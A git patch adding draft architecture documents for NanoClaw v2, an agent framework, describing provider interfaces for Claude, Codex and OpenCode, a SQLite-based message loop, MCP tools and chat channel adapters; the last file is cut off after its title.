From b539fddbcbd29049d431a69a2381f33f11396e14 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:07:33 +0300 Subject: [PATCH 001/295] =?UTF-8?q?docs:=20v2=20architecture=20design=20?= =?UTF-8?q?=E2=80=94=20session=20DB,=20channel=20adapters,=20agent=20provi?= =?UTF-8?q?der?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three documents covering the complete v2 architecture: - v2-architecture-draft.md: Core design (per-session SQLite as sole IO, two-level DB, entity model, channel adapters with Chat SDK bridge, container lifecycle, message flow, interactive operations, routing, flexibility model with PR Factory example) - v2-api-details.md: Channel adapter interface definitions, Chat SDK bridge implementation, native channel example, message content format examples, host delivery logic - v2-agent-runner-details.md: AgentProvider interface (stream-in/out), provider implementations (Claude, Codex, OpenCode), poll loop, MCP tool definitions, message formatting, media handling, container startup Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-agent-runner-details.md | 763 ++++++++++++++++++++++++++++++ docs/v2-api-details.md | 360 +++++++++++++++ docs/v2-architecture-draft.md | 792 ++++++++++++++++++++++++++++++++ 3 files changed, 1915 insertions(+) create mode 100644 docs/v2-agent-runner-details.md create mode 100644 docs/v2-api-details.md create mode 100644 docs/v2-architecture-draft.md diff --git a/docs/v2-agent-runner-details.md b/docs/v2-agent-runner-details.md new file mode 100644 index 0000000..1059213 --- /dev/null +++ b/docs/v2-agent-runner-details.md @@ -0,0 +1,763 @@ +# NanoClaw v2 Agent-Runner Details + +Implementation-level details for the agent-runner inside the container. See [v2-architecture-draft.md](v2-architecture-draft.md) for the high-level design. + +## Separation of Concerns + +The agent-runner has two layers: + +1. **Agent-runner core** — owns the poll loop, message formatting, DB reads/writes, MCP tool implementations, routing, status management, media handling. This is NanoClaw-specific and shared across all providers. + +2. **Agent provider** — owns the SDK interaction. Takes formatted prompts, pushes them to the SDK, yields events back. Each SDK (Claude, Codex, OpenCode) gets its own provider implementation. + +The boundary: the agent-runner decides **what** to send and **what to do** with results. The provider decides **how** to talk to the SDK. + +## AgentProvider Interface + +```typescript +interface AgentProvider { + /** Start a new query. Returns a handle for streaming input and output. */ + query(input: QueryInput): AgentQuery; +} + +interface QueryInput { + /** Initial prompt (already formatted by agent-runner). + * String for text-only. ContentBlock[] for multimodal (images, PDFs, audio). */ + prompt: string | ContentBlock[]; + + /** Session ID to resume, if any */ + sessionId?: string; + + /** Resume from a specific point in the session (provider-specific, may be ignored) */ + resumeAt?: string; + + /** Working directory inside the container */ + cwd: string; + + /** MCP server configurations (normalized format — provider translates) */ + mcpServers: Record; + + /** System prompt / developer instructions */ + systemPrompt?: string; + + /** Environment variables for the SDK process */ + env: Record; + + /** Additional directories the agent can access */ + additionalDirectories?: string[]; +} + +interface McpServerConfig { + command: string; + args: string[]; + env: Record; +} + +interface AgentQuery { + /** Push a follow-up message into the active query */ + push(message: string): void; + + /** Signal that no more input will be sent */ + end(): void; + + /** Output event stream */ + events: AsyncIterable; + + /** Force-stop the query (e.g., container shutting down) */ + abort(): void; +} + +type ProviderEvent = + | { type: 'init'; sessionId: string } + | { type: 'result'; text: string | null } + | { type: 'error'; message: string; retryable: boolean; classification?: string } + | { type: 'progress'; message: string }; +``` + +### What the interface does NOT include + +- **Message formatting** — the agent-runner formats messages before passing to the provider. The provider receives a ready-to-send prompt string. +- **Hooks** — Claude-specific. The Claude provider registers hooks internally (PreCompact, PreToolUse, etc.). Other providers don't need them. +- **Tool allowlists** — Claude uses `allowedTools`. Codex uses `approvalPolicy`. OpenCode uses `permission`. Each provider configures this internally based on the same intent: "allow everything, no prompting." +- **Session persistence** — Claude persists sessions to disk automatically. Codex and OpenCode manage their own session state. The agent-runner doesn't control this — it just passes `sessionId` and `resumeAt`. +- **Sandbox configuration** — provider-specific. Each provider configures its own sandbox internally. + +### Provider event semantics + +- **`init`** — emitted once per query when the provider establishes or resumes a session. The agent-runner captures `sessionId` for future resume. +- **`result`** — emitted when the agent produces a complete response. May be emitted multiple times per query (e.g., Claude's multi-turn with subagents). The agent-runner writes each result to messages_out. +- **`error`** — emitted on failure. `retryable` indicates whether the agent-runner should retry. `classification` is optional detail (e.g., 'quota', 'auth', 'transport'). +- **`progress`** — optional, for logging. The agent-runner logs these but doesn't act on them. + +## Provider Implementations + +### Claude Provider + +Wraps `@anthropic-ai/claude-agent-sdk`'s `query()`. + +```typescript +class ClaudeProvider implements AgentProvider { + query(input: QueryInput): AgentQuery { + const stream = new MessageStream(); // AsyncIterable + stream.push(input.prompt); + + const sdkQuery = query({ + prompt: stream, + options: { + cwd: input.cwd, + resume: input.sessionId, + resumeSessionAt: input.resumeAt, + systemPrompt: input.systemPrompt + ? { type: 'preset', preset: 'claude_code', append: input.systemPrompt } + : undefined, + mcpServers: input.mcpServers, // already the right shape + additionalDirectories: input.additionalDirectories, + env: input.env, + allowedTools: NANOCLAW_TOOL_ALLOWLIST, + permissionMode: 'bypassPermissions', + allowDangerouslySkipPermissions: true, + hooks: { + PreCompact: [{ hooks: [preCompactHook] }], + PreToolUse: [{ matcher: 'Bash', hooks: [sanitizeBashHook] }], + }, + }, + }); + + return { + push: (msg) => stream.push(msg), + end: () => stream.end(), + abort: () => sdkQuery.close(), + events: translateClaudeEvents(sdkQuery), + }; + } +} +``` + +`translateClaudeEvents` is an async generator that maps SDK messages to `ProviderEvent`: +- `message.type === 'system' && message.subtype === 'init'` → `{ type: 'init', sessionId }` +- `message.type === 'result'` → `{ type: 'result', text }` +- `message.type === 'system' && message.subtype === 'api_retry'` → `{ type: 'error', retryable: true }` +- `message.type === 'system' && message.subtype === 'rate_limit_event'` → `{ type: 'error', retryable: false, classification: 'quota' }` +- `message.type === 'system' && message.subtype === 'task_notification'` → `{ type: 'progress', message }` +- Everything else → logged, not emitted + +**Claude-specific features preserved inside the provider:** +- `MessageStream` for async iterable input (push-based) +- `resumeSessionAt` for resume at specific message UUID +- PreCompact hook for transcript archiving +- PreToolUse hook for sanitizing bash env vars +- Full tool allowlist +- `additionalDirectories` for multi-directory access + +### Codex Provider + +Wraps `@openai/codex-sdk`. + +```typescript +class CodexProvider implements AgentProvider { + query(input: QueryInput): AgentQuery { + const codex = new Codex(this.buildOptions(input)); + const thread = input.sessionId + ? codex.resumeThread(input.sessionId, this.threadOptions(input)) + : codex.startThread(this.threadOptions(input)); + + const abortController = new AbortController(); + let pendingFollowUp: string | null = null; + + return { + push: (msg) => { + // Codex doesn't support streaming input. + // Store the follow-up and abort the current turn. + pendingFollowUp = msg; + abortController.abort(); + }, + end: () => { /* no-op — Codex turns end naturally */ }, + abort: () => abortController.abort(), + events: this.run(thread, input.prompt, abortController, () => pendingFollowUp), + }; + } + + private async *run(thread, prompt, abortController, getPendingFollowUp): AsyncIterable { + let currentPrompt = prompt; + + while (true) { + try { + const streamed = await thread.runStreamed(currentPrompt, { + signal: abortController.signal, + }); + + let sessionId: string | undefined; + let resultText = ''; + + for await (const event of streamed.events) { + if (event.type === 'thread.started') { + sessionId = event.thread_id; + yield { type: 'init', sessionId }; + } + if (event.type === 'item.completed' && event.item.type === 'agent_message') { + resultText = event.item.text || resultText; + } + if (event.type === 'turn.failed') { + yield { type: 'error', message: event.error.message, retryable: false }; + return; + } + } + + yield { type: 'result', text: resultText || null }; + + // Check if a follow-up was queued during this turn + const followUp = getPendingFollowUp(); + if (followUp) { + currentPrompt = followUp; + // Reset for next iteration + continue; + } + + return; + } catch (err) { + if (abortController.signal.aborted && getPendingFollowUp()) { + // Aborted because of follow-up — restart with new prompt + currentPrompt = getPendingFollowUp(); + abortController = new AbortController(); + continue; + } + throw err; + } + } + } +} +``` + +**Codex-specific behavior inside the provider:** +- `developer_instructions` for system prompt (loaded from CLAUDE.md) +- `git init` in workspace (Codex requires a git repo) +- Abort+restart pattern for follow-up messages +- `sandboxMode`, `approvalPolicy`, `networkAccessEnabled` from env vars +- Conversation archiving (Codex doesn't have PreCompact) + +### OpenCode Provider + +Wraps `@opencode-ai/sdk`. + +```typescript +class OpenCodeProvider implements AgentProvider { + query(input: QueryInput): AgentQuery { + // OpenCode runs a local server — create it once, reuse across queries + const { client, server } = await createOpencode({ config: this.buildConfig(input) }); + const { stream } = await client.event.subscribe(); + + let aborted = false; + let pendingFollowUp: string | null = null; + + return { + push: (msg) => { + pendingFollowUp = msg; + server.close(); // interrupt current query + }, + end: () => { /* no-op */ }, + abort: () => { aborted = true; server.close(); }, + events: this.run(client, server, stream, input, () => pendingFollowUp), + }; + } + + private async *run(client, server, stream, input, getPendingFollowUp): AsyncIterable { + const session = await client.session.create(); + yield { type: 'init', sessionId: session.data.id }; + + await client.session.promptAsync({ + path: { id: session.data.id }, + body: { parts: [{ type: 'text', text: input.prompt }] }, + }); + + for await (const event of stream) { + if (event.type === 'session.idle') { + // Collect result text from accumulated message parts + const resultText = this.extractResult(event); + yield { type: 'result', text: resultText }; + + const followUp = getPendingFollowUp(); + if (followUp) { + await client.session.promptAsync({ + path: { id: session.data.id }, + body: { parts: [{ type: 'text', text: followUp }] }, + }); + continue; + } + + return; + } + + if (event.type === 'session.error') { + yield { type: 'error', message: event.properties?.error?.data?.message, retryable: false }; + return; + } + } + } +} +``` + +**OpenCode-specific behavior inside the provider:** +- Local gRPC/HTTP server lifecycle (`server.close()`) +- SSE event stream for output +- Provider/model selection via config (`OPENCODE_PROVIDER`, `OPENCODE_MODEL`) +- MCP config format translation (`type: 'local'`, `command: [cmd, ...args]`, `environment`) +- System prompt injected via `` prefix in prompt text +- No resume support (sessions are always new or reused by ID) + +## Agent-Runner Core + +Everything below is handled by the agent-runner, not the provider. + +### Poll Loop + +``` +┌─────────────────────────────────────────┐ +│ │ +│ 1. Query messages_in for pending rows │ +│ WHERE status = 'pending' │ +│ AND (process_after IS NULL │ +│ OR process_after <= now()) │ +│ │ +│ 2. If rows found: │ +│ a. Set status = 'processing' │ +│ b. Format messages by kind │ +│ c. Strip routing fields │ +│ d. Call provider.query(prompt) │ +│ e. Process provider events │ +│ f. Write results to messages_out │ +│ g. Set status = 'completed' │ +│ │ +│ 3. While query is active: │ +│ - Continue polling messages_in │ +│ - New messages → provider.push() │ +│ │ +│ 4. When query finishes: │ +│ - Back to step 1 │ +│ - If no messages, sleep + re-poll │ +│ │ +└─────────────────────────────────────────┘ +``` + +**Concurrent polling during active query:** While the provider is running a query, the agent-runner continues polling messages_in on a short interval (~500ms). New pending messages are formatted and pushed into the active query via `provider.push()`. This lets follow-up messages arrive while the agent is processing — Claude handles this natively, Codex/OpenCode handle it via abort+restart internally. + +**Idle behavior:** When no messages are pending and no query is active, the agent-runner sleeps briefly (1s) and re-polls. The container stays warm until the host kills it (idle timeout). + +**Idle detection exceptions:** The container should NOT be considered idle when: +- An `ask_user_question` tool call is pending (waiting for user response in messages_in) +- The agent is actively working (tool calls in progress, subagents running) + +The agent-runner signals "busy" status to the host. The mechanism for this is provider-specific — for Claude, the query AsyncGenerator is still yielding events. For others, the agent-runner can write a heartbeat or status indicator to the session DB that the host checks before killing. + +### Message Formatting + +The agent-runner transforms messages_in rows into a prompt string. The provider receives a ready-to-send string — it doesn't know about message kinds or routing. + +**Routing field stripping:** `platform_id`, `channel_type`, `thread_id` are never included in the prompt. They're stored as context for writing messages_out. + +**Single message formatting by kind:** + +- **`chat`** — format into message XML: + ```xml + + Check this PR + + ``` + +- **`chat-sdk`** — extract fields from serialized Chat SDK message: + ```xml + + Check this PR + [image: screenshot.png — https://signed-url...] + + ``` + Attachments are listed inline. Images/PDFs that Claude handles natively are passed as content blocks (see Media Handling below). + +- **`task`** — task prompt, optionally with script output: + ``` + [SCHEDULED TASK] + + Script output: + {"data": ...} + + Instructions: + Review open PRs + ``` + +- **`webhook`** — webhook payload: + ``` + [WEBHOOK: github/pull_request] + + {"action": "opened", "pull_request": {...}} + ``` + +- **`system`** — host action result (response to an earlier system request): + ``` + [SYSTEM RESPONSE] + + Action: register_agent_group + Status: success + Result: {"agent_group_id": "ag-456"} + ``` + +**Batch formatting:** Multiple pending messages are combined into one prompt: + +```xml + + +Check this PR +Already on it + +``` + +Mixed kinds (e.g., a chat message + a system response) are combined with clear delimiters. Each section is labeled by kind. + +**Command detection:** Messages starting with `/` are checked against a command list. Recognized commands bypass formatting and are passed raw to the provider (for Claude's slash command handling) or intercepted by the agent-runner (for NanoClaw-level commands like session reset). + +### Routing + +When the agent-runner picks up messages_in rows, it captures the routing fields from the batch: + +```typescript +interface RoutingContext { + platformId: string | null; + channelType: string | null; + threadId: string | null; + inReplyTo: string | null; // messages_in.id of the triggering message +} +``` + +When writing messages_out (either from provider results or MCP tool calls), the agent-runner copies this routing context by default. The agent never sees routing fields — it just produces text. The routing is implicit: "respond to whoever sent the message." + +MCP tools that target a different destination (e.g., `send_to_agent`, `send_message` with explicit channel) override the routing context for that specific messages_out row. + +### Status Management + +The agent-runner manages the `status` and `status_changed` fields on messages_in: + +``` +pending → processing → completed + → failed (if provider returns error and max retries exhausted) +``` + +- **Pick up:** `UPDATE messages_in SET status = 'processing', status_changed = now(), tries = tries + 1 WHERE id IN (...)` +- **Complete:** `UPDATE messages_in SET status = 'completed', status_changed = now() WHERE id IN (...)` +- **Error:** Agent-runner does NOT set `failed` — it leaves the message as `processing`. The host detects stale processing via `status_changed` and handles retry logic (reset to pending with backoff). This keeps retry policy on the host side. + +### MCP Tools + +The agent-runner runs an MCP server (same as v1) that exposes NanoClaw tools to the agent. In v2, all tools write to the session DB instead of IPC files. + +**DB path:** The MCP server receives the session DB path via environment variable. It opens a second connection to the same SQLite file (WAL mode allows concurrent access). + +#### send_message + +Send a chat message to the current conversation (or a specified destination). + +```typescript +{ + name: 'send_message', + params: { + text: string, // message content + channel?: string, // optional: target channel type (default: reply to origin) + platformId?: string, // optional: target platform ID + threadId?: string, // optional: target thread ID + } +} +``` + +Implementation: write a `messages_out` row with `kind: 'chat'`. If channel/platformId/threadId are provided, use those as routing. Otherwise, copy from the current routing context. + +#### send_file + +Send a file to the current conversation. + +```typescript +{ + name: 'send_file', + params: { + path: string, // file path (relative to /workspace/agent/ or absolute) + text?: string, // optional accompanying message + filename?: string, // display name (default: basename of path) + } +} +``` + +Implementation: +1. Generate a message ID +2. Create `outbox/{messageId}/` directory +3. Copy the file into the outbox directory +4. Write a `messages_out` row with `files: [filename]` in the content + +#### send_card + +Send a structured card (interactive or display-only). + +```typescript +{ + name: 'send_card', + params: { + card: CardElement, // card structure (title, children, actions) + fallbackText?: string, // text fallback for platforms without card support + } +} +``` + +Implementation: write a `messages_out` row with `kind: 'chat-sdk'` and the card structure in content. + +#### ask_user_question + +Send an interactive question and wait for the user's response. This is a **blocking tool call** — the tool doesn't return until the user responds. + +```typescript +{ + name: 'ask_user_question', + params: { + question: string, + options: string[], // button labels + timeout?: number, // seconds (default: 300) + } +} +``` + +Implementation: +1. Generate a `questionId` +2. Write a `messages_out` row with `operation: 'ask_question'`, the question, options, and questionId +3. Poll `messages_in` for a row with matching `questionId` in content +4. When found, return the `selectedOption` as the tool result +5. If timeout expires, return a timeout error as the tool result + +The agent's execution is paused at this tool call. The provider's query keeps running (Claude holds the tool call open). The agent-runner polls for the response in a separate loop. + +#### edit_message + +Edit a previously sent message. + +```typescript +{ + name: 'edit_message', + params: { + messageId: string, // integer ID as shown to the agent + text: string, // new content + } +} +``` + +Implementation: write a `messages_out` row with `operation: 'edit'`, the message ID, and new text. + +#### add_reaction + +Add an emoji reaction to a message. + +```typescript +{ + name: 'add_reaction', + params: { + messageId: string, // integer ID as shown to the agent + emoji: string, // emoji name (e.g., 'thumbs_up') + } +} +``` + +Implementation: write a `messages_out` row with `operation: 'reaction'`. + +#### send_to_agent + +Send a message to another agent group. + +```typescript +{ + name: 'send_to_agent', + params: { + agentGroupId: string, // target agent group + text: string, // message content + sessionId?: string, // optional: target specific session + } +} +``` + +Implementation: write a `messages_out` row with `channel_type: 'agent'`, `platform_id: agentGroupId`, `thread_id: sessionId`. + +#### schedule_task + +Schedule a one-shot or recurring task. + +```typescript +{ + name: 'schedule_task', + params: { + prompt: string, // task prompt + processAfter: string, // ISO timestamp for first run + recurrence?: string, // cron expression (optional) + script?: string, // pre-agent script (optional) + } +} +``` + +Implementation: write a `messages_in` row (to self) with `kind: 'task'`, `process_after`, and optionally `recurrence`. The host sweep picks it up when due. + +#### list_tasks + +List active scheduled/recurring tasks. + +```typescript +{ + name: 'list_tasks', + params: {} +} +``` + +Implementation: query `messages_in WHERE recurrence IS NOT NULL AND status != 'failed'`. + +#### cancel_task / pause_task / resume_task + +Modify a scheduled task. + +```typescript +{ + name: 'cancel_task', + params: { taskId: string } +} +// pause_task: set status = 'paused' (new status value for recurring tasks) +// resume_task: set status = 'pending' +``` + +Implementation: update the messages_in row directly. + +#### register_agent_group + +Register a new agent group (admin only). + +```typescript +{ + name: 'register_agent_group', + params: { + name: string, + folder: string, + platformId: string, // messaging group to wire to + channelType: string, + triggerRules?: object, + sessionMode?: 'shared' | 'per-thread', + } +} +``` + +Implementation: write a `messages_out` row with `kind: 'system'`, `action: 'register_agent_group'`. The host reads, validates admin permission, creates the entity rows in the central DB, and writes a `system` messages_in response. + +### Media Handling + +#### Inbound (messages_in → agent prompt) + +The agent-runner inspects attachments in chat/chat-sdk messages and handles them based on type and provider capability: + +**Provider-native content blocks:** + +| Type | Claude | Codex / OpenCode | +|------|--------|------------------| +| Images (JPEG, PNG, GIF, WebP) | Native image content block | Save to disk | +| PDFs | Native document content block | Save to disk | +| Audio | Native audio content block | Save to disk | +| Other files (code, data, video, archives) | Save to disk | Save to disk | + +**"Save to disk"** means: download to `/workspace/downloads/{messageId}/`, reference in the prompt text: + +``` + + Check this spreadsheet + [file available at: /workspace/downloads/msg-123/data.xlsx] + +``` + +The agent can use tools (Read, Bash) to access saved files. + +For channels where direct download isn't possible (e.g., WhatsApp buffered streams), the channel adapter serves the media via a local URL. The agent-runner downloads from that URL. + +**Content block construction (Claude):** The agent-runner builds multi-part `MessageParam` content: `[{ type: 'image', source: { type: 'base64', media_type, data } }, { type: 'text', text: '...' }]`. The prompt passed to the provider is not a plain string in this case — the `QueryInput.prompt` field needs to support structured content for Claude. The provider's `query()` method handles the format-specific construction. + +**Content block construction (Codex/OpenCode):** Everything is text. File references are inlined in the prompt string. The provider receives a plain string prompt. + +#### Outbound (agent → messages_out) + +Handled via the `send_file` MCP tool (see above). The agent explicitly decides to send a file — the agent-runner doesn't scan output for file references. + +### Pre-Agent Scripts (Tasks) + +For `task` kind messages with a `script` field in the content: + +1. Agent-runner writes the script to a temp file +2. Executes with `bash` (30s timeout) +3. Parses last line of stdout as JSON: `{ wakeAgent: boolean, data?: unknown }` +4. If `wakeAgent === false`: mark message as completed, don't invoke the provider +5. If `wakeAgent === true`: enrich the prompt with script output, then invoke the provider + +Same as v1 behavior. + +### Transcript Archiving + +The agent-runner archives conversation transcripts before context compaction. For Claude, this is handled via the PreCompact hook (provider-internal). For other providers that don't have hooks, the agent-runner archives after each query completes based on the provider's output. + +Archive location: `/workspace/agent/conversations/{date}-{summary}.md` + +### Session Resume + +The agent-runner tracks `sessionId` and `resumeAt` across queries: + +- `sessionId` — captured from `ProviderEvent { type: 'init' }`. Passed back to `QueryInput.sessionId` on the next query. +- `resumeAt` — Claude-specific (last assistant message UUID). Stored by the agent-runner, passed to `QueryInput.resumeAt`. Providers that don't support this ignore it. + +These are ephemeral to the container's lifetime. When the container is killed and restarted, the host passes the stored `sessionId` from the central DB's sessions table. `resumeAt` is lost on container restart (the provider resumes from the end of the session). + +### Container Startup + +The agent-runner receives configuration via: + +- **Environment variables:** `AGENT_PROVIDER` (claude/codex/opencode), `NANOCLAW_ADMIN_USER_ID`, provider-specific vars (API keys, model overrides), `TZ` +- **Fixed mount paths:** Session DB at `/workspace/session.db`. Agent group folder at `/workspace/agent/`. System prompt from `/workspace/agent/CLAUDE.md` and `/workspace/global/CLAUDE.md`. +- **Optional startup config:** Some config may be passed as a JSON file at a fixed path (e.g., `/workspace/config.json`) for things like the session ID to resume, assistant name, and admin user ID. This avoids overloading environment variables. + +The agent-runner reads config, creates the provider, and enters the poll loop. No stdin, no initial prompt — messages are already in the session DB. + +### Provider Factory + +```typescript +type ProviderName = 'claude' | 'codex' | 'opencode'; + +function createProvider(name: ProviderName, config: ProviderConfig): AgentProvider { + switch (name) { + case 'claude': return new ClaudeProvider(config); + case 'codex': return new CodexProvider(config); + case 'opencode': return new OpenCodeProvider(config); + default: throw new Error(`Unknown provider: ${name}`); + } +} +``` + +The provider name comes from the container's environment (`AGENT_PROVIDER` env var), set by the host based on `agent_groups.agent_provider` or `sessions.agent_provider`. + +`ProviderConfig` contains provider-specific settings (API keys, model overrides, etc.) passed via environment variables — not via the interface. Each provider reads what it needs from `env`. + +## What Stays From v1 + +- MCP server is a separate Node process spawned by the provider (via `mcpServers` config) +- The MCP server binary is shared across providers — same tools, same DB access +- CLAUDE.md loading (global + per-group) — agent-runner reads and passes as `systemPrompt` +- Additional directories discovery (`/workspace/extra/*`) +- Logging via stderr (`[agent-runner] ...`) + +## What Changes From v1 + +| v1 | v2 | +|----|----| +| stdin JSON envelope | Poll session DB | +| IPC input files for follow-ups | Same DB poll + `provider.push()` | +| stdout markers for output | Write messages_out rows | +| MCP tools write IPC files | MCP tools write DB rows | +| `_close` sentinel for shutdown | Host kills container externally | +| `runQuery()` function with inline Claude SDK | `AgentProvider` interface + per-SDK implementations | +| Single provider (Claude) | Pluggable providers (Claude, Codex, OpenCode, future) | +| `ContainerInput` via stdin | Provider config via env vars + session DB for messages | +| IPC polling for follow-ups | DB polling + provider.push() | + +## Related Documents + +- **[v2-architecture-draft.md](v2-architecture-draft.md)** — High-level architecture (session DB schema, central DB, channel adapters, message flow) +- **[v2-api-details.md](v2-api-details.md)** — Channel adapter interface, message content examples, host delivery logic diff --git a/docs/v2-api-details.md b/docs/v2-api-details.md new file mode 100644 index 0000000..02ba7c5 --- /dev/null +++ b/docs/v2-api-details.md @@ -0,0 +1,360 @@ +# NanoClaw v2 API Details + +Implementation-level details for the v2 architecture. See [v2-architecture-draft.md](v2-architecture-draft.md) for the high-level design. + +## Channel Adapter Interface + +### NanoClaw Channel Interface (v2) + +```typescript +interface ChannelSetup { + // Conversation configs from central DB — passed at setup, not queried by adapter + conversations: ConversationConfig[]; + + // Host callbacks + onInbound(platformId: string, threadId: string | null, message: InboundMessage): void; + onMetadata(platformId: string, name?: string, isGroup?: boolean): void; +} + +interface ConversationConfig { + platformId: string; + agentGroupId: string; + triggerPattern?: string; // regex string (for native channels) + requiresTrigger: boolean; + sessionMode: 'shared' | 'per-thread'; +} + +interface ChannelAdapter { + name: string; + channelType: string; + + // Lifecycle + setup(config: ChannelSetup): Promise; + teardown(): Promise; + isConnected(): boolean; + + // Outbound delivery + deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; + + // Optional + setTyping?(platformId: string, threadId: string | null): Promise; + syncConversations?(): Promise; + updateConversations?(conversations: ConversationConfig[]): void; +} + +// Inbound message from adapter to host +interface InboundMessage { + id: string; + kind: 'chat' | 'chat-sdk'; + content: unknown; // JSON blob — NanoClaw chat format or Chat SDK SerializedMessage + timestamp: string; +} + +// Outbound message from host to adapter +interface OutboundMessage { + kind: 'chat' | 'chat-sdk'; + content: unknown; // JSON blob — matches the kind +} +``` + +### Chat SDK Bridge + +Wraps a Chat SDK adapter + Chat instance to conform to the NanoClaw ChannelAdapter interface. + +```typescript +function createChatSdkBridge( + adapter: Adapter, + chatConfig: { concurrency?: ConcurrencyStrategy } +): ChannelAdapter { + let chat: Chat; + let hostCallbacks: ChannelSetup; + + return { + name: adapter.name, + channelType: adapter.name, + + async setup(config) { + hostCallbacks = config; + + chat = new Chat({ + adapters: { [adapter.name]: adapter }, + state: new SqliteStateAdapter(), + concurrency: chatConfig.concurrency ?? 'concurrent', + }); + + // Subscribe registered conversations + for (const conv of config.conversations) { + if (conv.agentGroupId) { + await chat.state.subscribe(conv.platformId); + } + } + + // Subscribed threads → forward all messages + chat.onSubscribedMessage(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + config.onInbound(channelId, thread.id, { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }); + }); + + // @mention in unsubscribed thread → discovery + chat.onNewMention(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + config.onInbound(channelId, thread.id, { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }); + // Subscribe so future messages in this thread are received + await thread.subscribe(); + }); + + // DMs → always forward + chat.onDirectMessage(async (thread, message) => { + config.onInbound(thread.id, null, { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }); + await thread.subscribe(); + }); + + await chat.initialize(); + }, + + async deliver(platformId, threadId, message) { + const tid = threadId ?? platformId; + if (message.kind === 'chat-sdk') { + const content = message.content as Record; + if (content.operation === 'edit') { + await adapter.editMessage(tid, content.messageId as string, + { markdown: content.text as string }); + } else if (content.operation === 'reaction') { + await adapter.addReaction(tid, content.messageId as string, + content.emoji as string); + } else { + await adapter.postMessage(tid, content as AdapterPostableMessage); + } + } else { + const content = message.content as { text: string }; + await adapter.postMessage(tid, { markdown: content.text }); + } + }, + + async setTyping(platformId, threadId) { + await adapter.startTyping(threadId ?? platformId); + }, + + async teardown() { + await chat.shutdown(); + }, + + isConnected() { return true; }, + + updateConversations(conversations) { + // Subscribe new conversations, could unsubscribe removed ones + for (const conv of conversations) { + if (conv.agentGroupId) { + chat.state.subscribe(conv.platformId); + } + } + }, + }; +} +``` + +### Native NanoClaw Channel (no Chat SDK) + +Native channels implement the ChannelAdapter interface directly. Example structure for WhatsApp/Baileys: + +```typescript +function createWhatsAppChannel(): ChannelAdapter { + let socket: WASocket; + let config: ChannelSetup; + + return { + name: 'whatsapp', + channelType: 'whatsapp', + + async setup(setup) { + config = setup; + socket = await connectBaileys(); + + socket.on('messages.upsert', (event) => { + for (const msg of event.messages) { + const jid = msg.key.remoteJid; + const conv = config.conversations.find(c => c.platformId === jid); + + // Trigger check (native — adapter does this, not host) + if (conv?.requiresTrigger && conv.triggerPattern) { + if (!new RegExp(conv.triggerPattern).test(msg.message?.conversation || '')) { + return; // Doesn't match trigger + } + } + + config.onInbound(jid, null, { + id: msg.key.id, + kind: 'chat', + content: { + sender: msg.pushName || msg.key.participant, + senderId: msg.key.participant || msg.key.remoteJid, + text: msg.message?.conversation || '', + attachments: [], + isFromMe: msg.key.fromMe, + }, + timestamp: new Date(msg.messageTimestamp * 1000).toISOString(), + }); + } + }); + }, + + async deliver(platformId, threadId, message) { + const content = message.content as { text: string }; + await socket.sendMessage(platformId, { text: content.text }); + }, + + async setTyping(platformId) { + await socket.sendPresenceUpdate('composing', platformId); + }, + + async teardown() { + await socket.logout(); + }, + + isConnected() { return !!socket; }, + }; +} +``` + +## Session DB Schema Details + +### messages_in content examples + +**`chat`** — simple NanoClaw format: +```json +{ + "sender": "John", + "senderId": "user123", + "text": "Check this PR", + "attachments": [{ "type": "image", "url": "https://signed-url..." }], + "isFromMe": false +} +``` + +**`chat-sdk`** — full Chat SDK `SerializedMessage`: +```json +{ + "_type": "chat:Message", + "id": "msg-1", + "threadId": "slack:C123:1234.5678", + "text": "Check this PR", + "formatted": { "type": "root", "children": [...] }, + "author": { "userId": "U123", "userName": "john", "fullName": "John", "isBot": false, "isMe": false }, + "metadata": { "dateSent": "2024-01-01T00:00:00Z", "edited": false }, + "attachments": [{ "type": "image", "url": "https://...", "name": "screenshot.png" }], + "isMention": true, + "links": [] +} +``` + +**Question response** (from user clicking an interactive card): +```json +{ + "sender": "John", + "senderId": "user123", + "text": "Yes", + "questionId": "q-123", + "selectedOption": "Yes", + "isFromMe": false +} +``` + +### messages_out content examples + +**Normal chat message:** +```json +{ "text": "LGTM, merging now" } +``` + +**Chat SDK markdown:** +```json +{ "markdown": "## Review Summary\n**Status**: Approved\n\nNo issues found." } +``` + +**Card:** +```json +{ + "card": { + "type": "card", + "title": "Deployment Approval", + "children": [ + { "type": "text", "content": "Deploy v2.1.0 to production?" }, + { "type": "actions", "children": [ + { "type": "button", "id": "approve", "label": "Approve", "style": "primary" }, + { "type": "button", "id": "reject", "label": "Reject", "style": "danger" } + ]} + ] + }, + "fallbackText": "Deployment Approval: Deploy v2.1.0 to production? [Approve] [Reject]" +} +``` + +**Ask user question:** +```json +{ + "operation": "ask_question", + "questionId": "q-123", + "question": "How should we handle the failing test?", + "options": ["Skip it", "Fix and retry", "Abort deployment"] +} +``` + +**Edit message:** +```json +{ "operation": "edit", "messageId": "3", "text": "Updated: LGTM with minor comments on line 42" } +``` + +**Reaction:** +```json +{ "operation": "reaction", "messageId": "5", "emoji": "thumbs_up" } +``` + +**System action:** +```json +{ "action": "reset_session", "payload": { "session_id": "sess-123", "reason": "Skills updated" } } +``` + +## Host Delivery Logic + +The host reads messages_out and dispatches based on `kind` and `operation`: + +```typescript +async function deliverMessage(row: MessagesOutRow, adapter: ChannelAdapter) { + const content = JSON.parse(row.content); + + // System actions — host handles internally + if (row.kind === 'system') { + await handleSystemAction(content); + return; + } + + // Agent-to-agent — write to target session DB + if (isAgentDestination(row)) { + await writeToAgentSession(row); + return; + } + + // Channel delivery — delegate to adapter + await adapter.deliver(row.platform_id, row.thread_id, { + kind: row.kind, + content, + }); +} +``` + +The adapter's `deliver()` method handles operation dispatch internally (post vs edit vs reaction). diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md new file mode 100644 index 0000000..18053c7 --- /dev/null +++ b/docs/v2-architecture-draft.md @@ -0,0 +1,792 @@ +# NanoClaw 